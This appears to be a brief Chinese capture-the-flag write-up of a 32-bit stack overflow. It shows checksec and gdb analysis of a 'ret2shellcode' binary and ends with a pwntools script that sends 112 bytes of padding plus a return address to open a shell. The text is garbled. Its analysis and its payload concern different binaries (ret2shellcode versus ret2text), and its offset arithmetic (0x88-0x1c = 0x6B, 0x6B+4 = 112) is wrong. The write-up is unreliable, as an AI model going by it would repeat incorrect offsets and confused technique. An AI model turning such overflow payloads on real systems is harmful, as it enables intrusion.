链接: 配置工具,gdb,ida
checksec查看:
no canary=可以简单栈溢出
NX disabled = 将shellcode放在数据段,即可执行
ida查看:
可以输入100个字节,复制到buf2,不能够溢出
原来buf2在bss段,
bss段:一般指程序中未初始化的或者初始化为0的全局变量和静态变量的一块内存区域,特点是可读写,在程序执行之前,bss段清0
是不是可以执行呢
gdb调试:
gdb ret2shellcode
disas main
b main
r
vmmap
可以看到0804A080这个地址在上面选中的这个区域内,显示rwxp即可读写的权限。
lea eax,[esp+0x1c]
mov DWORD PTR [esp], eax
# 可以知道字符串起始地址相较于esp为+0x1c
所以距离ebp地址为0x88-0x1c = 0x6B
那么覆盖到返回地址就是:
+-----------------+
| /bin/sh | 原ret返回位置
+-----------------+
| holk | 原saved ebp位置(4字节)
ebp--->+-----------------+
| |
| |
| |
| |
| |
| |
s起始,ebp-0x6B-->+-----------------+
0x6B+4 = 112(十进制)个字节。
知道了溢出字符数了,接下来找system(/bin/sh)
栈溢出题目,有了溢出字符量,有了system(/bin/sh) 即为完成题目
构造payload
from pwn import *
sh = process('./ret2text')
shell = 0x0804863A
payload = 'a'*112 + p32(shell) #112个字节填满栈空间至ret+shell_add
sh.sendline(payload)
sh.interactive()